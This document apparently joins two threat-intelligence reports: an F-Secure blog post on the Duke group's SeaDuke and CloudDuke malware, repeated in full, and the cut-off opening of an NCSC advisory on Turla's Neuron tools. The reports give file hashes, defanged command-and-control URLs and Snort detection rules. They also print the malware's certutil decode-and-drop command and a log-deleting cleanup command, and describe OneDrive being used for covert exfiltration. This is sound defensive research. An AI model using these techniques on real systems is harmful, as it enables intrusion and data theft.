Duke APT groups latest tools: cloud services and Linux support - F- Secure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke groups toolset, SeaDuke and CloudDuke.
Of these, SeaDuke is a simple trojan made interesting by the fact that its written in Python.
And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group.
While SeaDuke is a single - albeit cross- platform - trojan, CloudDuke appears to be an entire toolset of malware components, or solutions as the Duke group apparently calls them.
These components include a unique loader, downloader, and not one but two different trojan components.
CloudDuke also greatly expands on the Duke groups usage of cloud storage services, specifically Microsofts OneDrive, as a channel for both command and control as well as the exfiltration of stolen data.
Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago.
Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group.
While older malware by the Duke group has always been written with a combination of the C and C programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation.
This Python code is usually then compiled into Windows executables using py2exe or pyinstaller.
However, the Python code itself has been designed to work on both Windows and Linux.
We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims.
This is the first time we have seen the Duke group employ malware to target Linux platforms.
An example of the cross-platform support found in SeaDuke.
A new set of solutions with the CloudDuke malware toolset Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook.
MiniDionis and CloudLook are both components of a http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ larger malware toolset we call CloudDuke.
This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader.
Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as solutions with names such as DropperSolution, BastionSolution and OneDriveSolution.
A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called DropperSolution.
The purpose of the downloader is to download and execute additional malware on the victims system.
In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute.
Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsofts cloud storage service OneDrive and retrieve the payload from there.
If no payload is available from OneDrive, the downloader will revert to the previously mentioned method of downloading from compromised websites.
We have also observed two distinct trojan components in the CloudDuke toolset.
The first of these, internally called BastionSolution, is the trojan that Palo Alto Networks described in their research into MiniDionis.
Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language.
BastionSolution also makes significant use of a code framework that is apparently internally called Z.
This framework provides classes for functionality such as encryption, compression, randomization and network communications.
A list of classes in the BastionSolution trojan, including multiple classes from the Z framework.
Classes from the same Z framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset.
This second component, internally called OneDriveSolution, is especially interesting because it relies on Microsofts cloud storage service OneDrive as its command and control channel.
To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password.
If successful, OneDriveSolution will then proceed to copy data from the victims computer to the OneDrive account.
It will also search the OneDrive account for files containing commands for the malware to execute.
A list of classes in the OneDriveSolution trojan, including multiple classes from the Z framework.
All of the CloudDuke solutions use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it.
The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components.
CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense.
These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables.
In most cases, executing these executables will have resulted in two additional files being written to the victims hard disk.
The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called DropperSolution.
In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, OneDriveSolution or BastionSolution.
http://www.thedailybeast.com/articles/2015/07/18/russian-hackers-target-the-pentagon.html Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns.
It has apparently been copied by the attackers from here.
Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014.
In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a US letter fax test page (28d29c702fdf3c16f27b33f3e32687dd82185e8b).
Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes.
It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the BastionSolution component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns.
https://www.ndi.org/files/NDI20Georgia_April20201520Poll_Public20Issues_ENG_VF_0.pdf The US letter fax test page decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns.
Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations.
Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account.
In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional CC channels for most of their actions.
It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data.
By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection.
Large amounts of data being transferred from an organizations network to an unknown web server easily raises suspicions.
However, data being transferred to a popular cloud storage service is normal.
What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons.
(
Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference).
Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources.
Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets.
The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages.
This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside.
This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset.
The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness.
These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Dukes are not planning to stop any time soon.
Research and post by Artturi (lehtior2) https://www.f-secure.com/documents/996508/1030745/CozyDuke https://www.virusbtn.com/conference/vb2015/abstracts/R-Lehtio.xml https://twitter.com/lehtior2 F-Secure detects CloudDuke as Trojan:W32/CloudDuke.
B and Trojan:W64/CloudDuke.
B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP Page 1 Duke APT groups latest tools: cloud services and Linux support - F- Secure Weblog : News from the Lab Recent weeks have seen the outing of two new additions to the Duke groups toolset, SeaDuke and CloudDuke.
Of these, SeaDuke is a simple trojan made interesting by the fact that its written in Python.
And even more curiously, SeaDuke, with its built-in support for both Windows and Linux, is the first cross-platform malware we have observed from the Duke group.
While SeaDuke is a single - albeit cross- platform - trojan, CloudDuke appears to be an entire toolset of malware components, or solutions as the Duke group apparently calls them.
These components include a unique loader, downloader, and not one but two different trojan components.
CloudDuke also greatly expands on the Duke groups usage of cloud storage services, specifically Microsofts OneDrive, as a channel for both command and control as well as the exfiltration of stolen data.
Finally, some of the recent CloudDuke spear-phishing campaigns have born a striking resemblance to CozyDuke spear-phishing campaigns from a year ago.
Linux support added with the cross-platform SeaDuke malware Last week, both Symantec and Palo Alto Networks published research on SeaDuke, a newer addition to the arsenal of trojans being used by the Duke group.
While older malware by the Duke group has always been written with a combination of the C and C programming languages as well as assembly language, SeaDuke is peculiarly written in Python with multiple layers of obfuscation.
This Python code is usually then compiled into Windows executables using py2exe or pyinstaller.
However, the Python code itself has been designed to work on both Windows and Linux.
We therefore suspect, that the Duke group is also using the same SeaDuke Python code to target Linux victims.
This is the first time we have seen the Duke group employ malware to target Linux platforms.
An example of the cross-platform support found in SeaDuke.
A new set of solutions with the CloudDuke malware toolset http://www.symantec.com/connect/blogs/forkmeiamfamous-seaduke-latest-weapon-duke-armory http://researchcenter.paloaltonetworks.com/2015/07/unit-42-technical-analysis-seaduke/ Last week, we also saw Palo Alto Networks and Kaspersky Labs publish research on malware components they respectively called MiniDionis and CloudLook.
MiniDionis and CloudLook are both components of a larger malware toolset we call CloudDuke.
This toolset consists of malware components that provide varying functionality while partially relying on a shared code framework and always using the same loader.
Based on PDB strings found in the samples, the malware authors refer to the CloudDuke components as solutions with names such as DropperSolution, BastionSolution and OneDriveSolution.
A list of PDB strings we have observed is below: C:\DropperSolution\Droppers\Projects\Drop_v2\Release\Drop_v2.pdb c:\BastionSolution\Shells\Projects\miniDionis4\miniDionis\obj\Release\miniDionis.pdb c:\BastionSolution\Shells\Projects\miniDionis2\miniDionis\obj\Release\miniDionis.pdb c:\OneDriveSolution\Shells\Projects\OneDrive2\OneDrive\obj\x64\Release\OneDrive.pdb The first of the CloudDuke components we have observed is a downloader internally called DropperSolution.
The purpose of the downloader is to download and execute additional malware on the victims system.
In most observed cases, the downloader will attempt to connect to a compromised website to download an encrypted malicious payload which the downloader will decrypt and execute.
Depending on the way the downloader has been configured, in some cases it may first attempt to log in to Microsofts cloud storage service OneDrive and retrieve the payload from there.
If no payload is available from OneDrive, the downloader will revert to the previously mentioned method of downloading from compromised websites.
We have also observed two distinct trojan components in the CloudDuke toolset.
The first of these, internally called BastionSolution, is the trojan that Palo Alto Networks described in their research into MiniDionis.
Interestingly, BastionSolution appears to functionally be an exact copy of SeaDuke with the only real difference being the choice of programming language.
BastionSolution also makes significant use of a code framework that is apparently internally called Z.
This framework provides classes for functionality such as encryption, compression, randomization and network communications.
http://researchcenter.paloaltonetworks.com/2015/07/tracking-minidionis-cozycars-new-ride-is-related-to-seaduke/ https://securelist.com/blog/research/71443/minidionis-one-more-apt-with-a-usage-of-cloud-drives/ A list of classes in the BastionSolution trojan, including multiple classes from the Z framework.
Classes from the same Z framework, such as the encryption and randomization classes, are also used by the second trojan component of the CloudDuke toolset.
This second component, internally called OneDriveSolution, is especially interesting because it relies on Microsofts cloud storage service OneDrive as its command and control channel.
To achieve this, OneDriveSolution will attempt to log into OneDrive with a preconfigured username and password.
If successful, OneDriveSolution will then proceed to copy data from the victims computer to the OneDrive account.
It will also search the OneDrive account for files containing commands for the malware to execute.
A list of classes in the OneDriveSolution trojan, including multiple classes from the Z framework.
All of the CloudDuke solutions use the same loader, a piece of code whose primary purpose is to decrypt the embedded, encrypted solution, load it in memory and execute it.
The Duke group has often employed loaders for their malware but unlike the previous loaders they have used, the CloudDuke loader is much more versatile with support for multiple methods of loading and executing the final payload as well as the ability to write to disk and execute additional malware components.
CloudDuke spear-phishing campaigns and similarities with CozyDuke CloudDuke has recently been spread via spear-phishing emails with targets reportedly including organizations such as the US Department of Defense.
These spear-phising emails have contained links to compromised websites hosting zip archives that contain CloudDuke-laden executables.
In most cases, executing these executables will have resulted in two additional files being written to the victims hard disk.
The first of these files has been a decoy, such as an audio file or a PDF file while the second one has been a CloudDuke loader embedding a CloudDuke downloader, the so-called DropperSolution.
In these cases, the victim has been presented with the decoy file while in the background the downloader has proceeded to download and execute one of the CloudDuke trojans, OneDriveSolution or BastionSolution.
http://www.thedailybeast.com/articles/2015/07/18/russian-hackers-target-the-pentagon.html Example of one of the decoy documents employed in the CloudDuke spear-phishing campaigns.
It has apparently been copied by the attackers from here.
Interestingly, however, some of the other CloudDuke spear-phishing campaigns we have observed this July have born a striking resemblance to CozyDuke spear-phishing campaigns seen almost exactly a year ago, in the beginning of July 2014.
In both spear-phishing campaigns, the decoy document has been the exact same PDF file, a US letter fax test page (28d29c702fdf3c16f27b33f3e32687dd82185e8b).
Similarly, the URLs hosting the malicious files have, in both campaigns, purported to be related to eFaxes.
It is also interesting to note, that in the case of the CozyDuke-inspired CloudDuke spear-phishing campaign, the downloading and execution of the malicious archive linked to in the emails has not resulted in the execution of the CloudDuke downloader but in the execution of the BastionSolution component thereby skipping one step from the process described for the other CloudDuke spear-phishing campaigns.
https://www.ndi.org/files/NDI20Georgia_April20201520Poll_Public20Issues_ENG_VF_0.pdf The US letter fax test page decoy employed in both CloudDuke and CozyDuke spear-phishing campaigns.
Increasingly using cloud services to evade detection CloudDuke is not the first time we have observed the Duke group use cloud services in general and Microsoft OneDrive specifically as part of their operations.
Earlier this spring we released research on CozyDuke where we mentioned observing CozyDuke sometimes either directly use a OneDrive account to exfiltrate stolen data or alternatively CozyDuke downloading Visual Basic scripts that would copy stolen files to a OneDrive account and sometimes even retrieve files containing additional commands from the same OneDrive account.
In these previous cases the Duke group has only used OneDrive as a secondary communication channel but still relied on more traditional CC channels for most of their actions.
It is therefore interesting to note that CloudDuke actually enables the Duke group to rely solely on OneDrive for every step of their operation from downloading the actual trojan, passing commands to the trojan and finally exfiltrating stolen data.
By relying solely on 3rd party web services, such as OneDrive, as their command and control channel, we believe the Duke group is trying to better evade detection.
Large amounts of data being transferred from an organizations network to an unknown web server easily raises suspicions.
However, data being transferred to a popular cloud storage service is normal.
What better way for an attacker to surreptitiously transfer large amounts of stolen data than the same way people are transferring that same data every day for legitimate reasons.
(
Coincidentally, the implications of 3rd party web services being used as command and control channels is also the subject of an upcoming talk at the VirusBulletin 2015 conference).
Directing limited resources towards evading detection and staying ahead of defenders Developing even a single multipurpose malware toolset, never mind many, requires time and resources.
Therefore it seems logical to attempt to reuse code such as supporting frameworks between different toolsets.
The Duke group, however, appear to have taken this a step further with SeaDuke and the CloudDuke component BastionSolution, by rewriting the same code in multiple programming languages.
This has the obvious benefits of saving time and resources by providing two malware toolsets, that while similar on the inside, appear completely different on the outside.
This way, the discovery of one toolset does not immediately lead to the discovery of the second toolset.
The Duke group, long suspected of ties to the Russian state, have been running their espionage operation for an unusually long time and - especially lately - with unusual brazenness.
These latest CloudDuke and SeaDuke campaigns appear to be a clear sign that the Dukes are not planning to stop any time soon.
Research and post by Artturi (lehtior2) https://www.f-secure.com/documents/996508/1030745/CozyDuke https://www.virusbtn.com/conference/vb2015/abstracts/R-Lehtio.xml https://twitter.com/lehtior2 F-Secure detects CloudDuke as Trojan:W32/CloudDuke.
B and Trojan:W64/CloudDuke.
B Samples: 04299c0b549d4a46154e0a754dda2bc9e43dff76 2f53bfcd2016d506674d0a05852318f9e8188ee1 317bde14307d8777d613280546f47dd0ce54f95b 476099ea132bf16fa96a5f618cb44f87446e3b02 4800d67ea326e6d037198abd3d95f4ed59449313 52d44e936388b77a0afdb21b099cf83ed6cbaa6f 6a3c2ad9919ad09ef6cdffc80940286814a0aa2c 78fbdfa6ba2b1e3c8537be48d9efc0c47f417f3c 9f5b46ee0591d3f942ccaa9c950a8bff94aa7a0f bfe26837da22f21451f0416aa9d241f98ff1c0f8 c16529dbc2987be3ac628b9b413106e5749999ed cc15924d37e36060faa405e5fa8f6ca15a3cace2 dea6e89e36cf5a4a216e324983cc0b8f6c58eaa8 e33e6346da14931735e73f544949a57377c6b4a0 ed0cf362c0a9de96ce49c841aa55997b4777b326 f54f4e46f5f933a96650ca5123a4c41e115a9f61 f97c5e8d018207b1d546501fe2036adfbf774cfd Compromised servers used for command and control: hxxps://cognimuse.cs.ntua.gr/search.php hxxps://portal.sbn.co.th/rss.php hxxps://97.75.120.45/news/archive.php hxxps://portal.sbn.co.th/rss.php hxxps://58.80.109.59/plugins/search.php Compromised websites used to host CloudDuke: hxxp://flockfilmseries.com/eFax/incoming/5442.ZIP hxxp://www.recordsmanagementservices.com/eFax/incoming/150721/5442.ZIP hxxp://files.counseling.org/eFax/incoming/150721/5442.ZIP
TLP WHITE TLP WHITE Page 1 of 27 Turla group using Neuron and Nautilus tools alongside Snake malware Version 2.0 Reference: NCSC-Ops/35-17 23 November 2017 Crown Copyright 2017 TLP WHITE TLP WHITE Page 2 of 27 About this document This report provides new intelligence by the NCSC on two tools used by the Turla group to target the UK.
It contains IOCs and signatures for detection by network defenders.
Handling of the Report Information in this report has been given a Traffic Light Protocol (TLP) of WHITE, which means it can be shared within and beyond the CiSP community with no handling restrictions.
Disclaimer This report draws on reported information and NCSC investigations into Turla activity in the UK.
TLP WHITE TLP WHITE Page 3 of 27 Contents Introduction ............................................................................................................................................ 4 Neuron Analysis ................................................................................................................................... 5 Neuron Service ................................................................................................................................. 6 Associated Files ........................................................................................................................... 6 Infection Vector  Install ............................................................................................................. 7 Persistence .................................................................................................................................... 7 Network Communications ........................................................................................................... 8 Capabilities .................................................................................................................................. 10 Neuron Client .................................................................................................................................. 10 Associated Files ......................................................................................................................... 10 Persistence .................................................................................................................................. 11 Configuration ............................................................................................................................... 12 Network Communications ......................................................................................................... 12 Capability ..................................................................................................................................... 13 Associated Files ......................................................................................................................... 15 Configuration ............................................................................................................................... 15 Communications ......................................................................................................................... 17 Capability ..................................................................................................................................... 18 Appendix A .......................................................................................................................................... 20 Neuron Client .................................................................................................................................. 20 Neuron Service ............................................................................................................................... 21 Neuron Yara .................................................................................................................................... 22 Nautilus ................................................................................................................................................ 25 Nautilus Yara................................................................................................................................... 25 Additional Indicators for Forensic Analysis .................................................................................... 27 TLP WHITE TLP WHITE Page 4 of 27 Introduction Neuron and Nautilus are malicious tools designed to operate on Microsoft Windows platforms, primarily targeting mail servers and web servers.
The NCSC has observed these tools being used by the Turla group to maintain persistent network access and to conduct network operations.
The Turla group use a range of tools and techniques, many of which are custom.
Using their advanced toolkit, the Turla group compromise networks for the purposes of intelligence collection.
The Turla group is known to target government, military, technology, energy and commercial organisations.
The Turla group has operated on targets using a rootkit known as Snake for many years.
Like Neuron and Nautilus, Snake provides a platform to steal sensitive data, acts as a gateway for internal network operations and is used to conduct onward attacks against other organisations.
The Turla group are experienced in maintaining covert access through incident response activities.
They infect multiple systems within target networks and deploy a diverse range of tools to ensure that they retain a foothold back onto a victim even after the initial infection vector has been mitigated.
The NCSC has observed both Neuron and Nautilus being used in conjunction with the Snake rootkit.
In a number of instances, one or both of these tools has been deployed following the successful installation of Snake.
The NCSC believes that Neuron and Nautilus are another component of the wider Turla campaign and are not acting as replacements for the Snake rootkit.
It is likely that these tools have seen wider deployment since the Snake rootkit has been reported on by the information security industry, providing the group with additional methods of access.
This advisory provides information to detect Neuron and Nautilus infections.
The NCSC encourages any organisation that has previously experienced a compromise by the Turla group to be diligent in checking for the presence of these additional tools.
Whilst they are commonly deployed alongside the Snake rootkit, these tools can also be operated independently.
TLP WHITE TLP WHITE Page 5 of 27 Neuron Analysis Neuron consists of both client and server components.
The Neuron client and Neuron service are written using the .NET framework with some codebase overlaps.
The Neuron client is used to infect victim endpoints and extract sensitive information from local client machines.
The Neuron server is used to infect network infrastructure such as mail and web servers, and acts as local Command  Control (C2) for the client component.
Establishing a local C2 limits interaction with the target network and remote hosts.
It also reduces the log footprint of actor infrastructure and enables client interaction to appear more convincing as the traffic is contained within the target network.
The main method of communication between the Neuron client and service is via HTTP requests.
The Neuron service creates its own HTTP listener and waits for requests to a configured Neuron URL endpoint.
These endpoint names are themed around legitimate web services, such as Microsoft Exchange and Microsoft IIS, which further helps malware traffic appear legitimate.
Details of these endpoints are provided in the Neuron service communications section of this advisory.
A subset of Neuron services analysed by the NCSC can receive communications via pipes alongside the HTTP listener, however this functionality is missing from some samples.
One of the main pieces of functionality implemented within Neuron is the synchronising of StorageFile objects and StorageScript objects between the client and service.
These are described in more detail in the Network Communications section.
This malware is referred to as Neuron due to the presence of a PDB string within the binary and various other references throughout.
c:\Develop\internal\neuron-client\dropper-svc\obj\Release\dropper-svc.pdb TLP WHITE TLP WHITE Page 6 of 27 Neuron Service The Neuron service is typically installed on compromised infrastructure such as mail and web servers, and listens for HTTP requests from infected clients.
In this way, Neuron service acts as a Command  Control (C2) server inside the victim network for infected Neuron clients.
While Neuron service examples observed by the NCSC have been running on servers, it is also possible for it to be run on Windows clients.
The installation of a C2 server inside the victim network allows the actor to evade detection by network gateway based monitoring.
While external communications are required for the actor to make connections back to their upstream C2 infrastructure, these communications are often encrypted using the legitimate TLS configuration of the victim network.
The Neuron service and client model enables the communications to appear legitimate, with endpoint victims running the client, and the actor initiating connections to the (typically) outward-facing Neuron infected server.
Associated Files Name Microsoft.
Exchange.
Service.exe Description Neuron Service MD5 0f12268221e27406351a6313f902b498 SHA1 b0dbdc81a0e367330007b7e593d8dabf92ca7afd SHA256 d1d7a96fcadc137e80ad866c838502713db9cdfe59939342b8e3beacf9c7fe29 Size 43008 Name w3wpdiag.exe Description Neuron Service MD5 371b4380080e3d94ffcae1a7e9a0d5e2 SHA1 f7088075d1c798f27b0d269c97dc877ff16f1401 SHA256 2986bae15cfa78b919d21dc070be944e949a027e8047a812026e35c66ab17353 Size 59392 Name Updater.exe Description Neuron Service MD5 8229622a9790d75e09a099e8758d5703 SHA1 10586913ceeecd408da4e656c29ed4e91c6b758e SHA256 2f4d6a3c87770c7d42d1a1b71ed021a083b08f69ccaf63c15428c7bc6f69cb10 Size 44544 TLP WHITE TLP WHITE Page 7 of 27 Name w3wpdiag.exe Description Neuron Service MD5 a3bdc385cf68019449027bd6d8cecb4d SHA1 fe8da5a1e62a8d4f627834b0f26c802a330d8d45 SHA256 0f4e9e391696ed8b9172985bb43cca7d7f2c8a4ae0493e4bf1f15b90f7138259 Size 58880 Name dropper-svc.exe Description Dropper for the Neuron service MD5 d6ef3c8f2c3f3ddffbb70f5dadfa982c SHA1 934b288075c122165897276b360c61e77cb7bde0 SHA256 fa543de359d498150cbcb67c1631e726a4b14b0a859573185cede5b12ad2abfb Size 85008 Infection Vector  Install The infection vector for the Neuron service is typically via exploitation of application layer vulnerabilities in server software, server misconfigurations, or brute-force attacks on administrative accounts.
Neuron service requires a dropper that essentially performs the same actions as the client dropper, embedding the final payload using the same method detailed in the Neuron client section.
The service dropper takes a parameter of the path where the payload will be dropped.
Following execution, the dropper modifies the last access time of the deployed files to match the timestamps of the legitimate file EdgeTransport.exe.
It is advised that forensic investigators conduct a search for files that have this timestamp applied.
Finally, the dropper executes the following command to remove all installation log files: cmd.exe /c del .InstallLog .InstallState Persistence In order to persist on the compromised hosts, Neuron service installs itself as an automatic service, allowing the infection to persist through a server restart.
The Neuron service can be manually stopped and removed, and contains no method of re- establishing execution.
TLP WHITE TLP WHITE Page 8 of 27 The Neuron service attempts to masquerade as legitimate Microsoft Exchange or Microsoft IIS services.
A list of the service names and descriptions used within Neuron samples is as follows: SERVICE NAME DISPLAY NAME DESCRIPTION MSExchangeService Microsoft Exchange Service Host service for the Microsoft Exchange Server management provider.
If this service is stopped or disabled, Microsoft Exchange cannot be managed.
W3WPDIAG Microsoft IIS Diagnostics Service Host service for the Microsoft IIS management provider.
If this service is stopped or disabled, Microsoft IIS cannot be managed.
Updater Updater Host service for software update.
If this service is stopped or disabled, software cannot be update.
Network Communications Communications between the client and service are via HTTP requests.
The service will establish a HTTP listener, commonly on port 443 (https), however instances have been analysed where port 80 (http) is used instead.
The listener waits for requests on the host matching specific URIs defined by the configuration.
The following have been defined in the configuration in Neuron samples analysed by the NCSC: Neuron clients send requests to the defined endpoint in order to communicate with the service.
In order to make the traffic from clients look legitimate, the actor has chosen to name their endpoints with common Microsoft Windows terms.
Communications are encrypted using RC4 as an additional layer of security.
The RC4 key is sent to the connecting client using a pre-configured RSA key.
Parameters for a request are sent in the POST body, with the following values possible: https://:443/ews/exchange/ https://:443/W3SVC/ https://:80/W3SVC/ cid cadataKey cadata cadataSig TLP WHITE TLP WHITE Page 9 of 27 The values for these parameters are base64 encoded and RC4 encrypted using the key exchanged between the client and service.
Each parameter performs a different task within the service for example, cid requests the current RC4 key and cadata sends an instruction to be run.
An example HTTP communication is shown below: The following SNORT rules can be used to alert on this traffic.
Network collection will need to be in place between the client and server in most instances, this is between two machines within the same LAN: In addition to HTTP communications, some observed Neuron service samples have functionality that enables the clients to communicate with it via pipes, for example: pipe:///Winsock2/w3svc POST https://domain/ews/exchange/exchange.asmx HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: domain Content-Length: variable Expect: 100-continue Connection: Keep-Alive cadataurl_encoded_b64 alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron A content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadata[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron B content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadataKey[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron C content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncid[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) alert tcp HOME_NET any - EXTERNAL_NET any (flow: established,from_client msg: Web/request\:POST - Neuron D content: cadata fast_pattern content: Content- Type3a application/x-www-form-urlencoded content: Expect3a 100-continue pcre: /\ncadataSig[a-zA-Z0-9]1,5000/ content: POST http_method rev: 1 priority: 1) TLP WHITE TLP WHITE Page 10 of 27 Capabilities The main functionality of the Neuron service is to return and synchronise StorageFile and StorageScript objects between the client and service.
A StorageFile object contains information about a file including its name, modified date and the file contents a StorageScript object contains instructions.
There are multiple instruction types, including the following: Executing a command using cmd.exe Creating new StorageFiles Downloading specified or all StorageFiles Neuron Client The Neuron client component is typically installed on endpoint machines within a victim network.
Command  Control (C2) is conducted by the Neuron service.
The client is designed to collect, package and send documents to the service component for onward exfiltration.
Associated Files Name neuron-client.exe Description Neuron Client MD5 4ed42233962a89deaa89fd7b989db081 SHA1 cf731ee0af5c19231ff51af589f7434c0367d508 SHA256 a96c57c35df18ac20d83b08a88e502071bd0033add0914b951adbd1639b0b873 Size 55808 Name Sign.exe Description Dropper for the Neuron client MD5 3cd5fa46507657f723719b7809d2d1f9 SHA1 34ddc14b9a04eba98c3aa1cb27033e12ec847e03 SHA256 a6dbc36c472b3ba70a98efd0db35e75c340086be15d3c3ab4e39033604d0bcf9 Size 115712 Name mydoc.doc Description Macro document that drops and runs Sign.exe (client dropper) MD5 66f4f1384105ce7ee1636d34f2afb1c9 SHA1 3f23d152cc7badf728dfd60f6baa5c861a500630 SHA256 42fbb2437faf68bae5c5877bed4d257e14788ff81f670926e1d4bbe731e7981b Size 591360 TLP WHITE TLP WHITE Page 11 of 27 Name N/A Description Macro document that drops and runs Sign.exe (client dropper) MD5 0e430b6b203099f9c305681e1dcff375 SHA1 845f3048fb0cfbdfb35bf6ced47da1d91ff2e2b1 SHA256 bbe3700b5066d524dd961bd47e193ab2c34565577ce91e6d28bdaf609d2d97a8 Size 590336 Infection Vector and Install The Neuron client infection vector appears to be via spear-phishing victims with documents containing macros.
When a document is opened, and macros are enabled, a base64 encoded blob is constructed and written to the temp directory as Signature.crt this is then decoded using the legitimate Microsoft binary certutil.exe, for example: certutil.exe -decode TEMP\Signature.crt TEMP\Sign.exe The resulting executable is the Neuron client dropper, which is responsible for setting up any initial configuration, establishing persistence and dropping the main payload to disk.
The main payloads are embedded in the dropper executable and are GZIP compressed and RC4 encrypted with a hardcoded key.
The dropper is also responsible for deploying any legitimate DLLs that may also be required  these are stored in the same way.
All files are placed into the directory from which the dropper was executed.
Persistence The Neuron client executable contains no functionality to establish persistence.
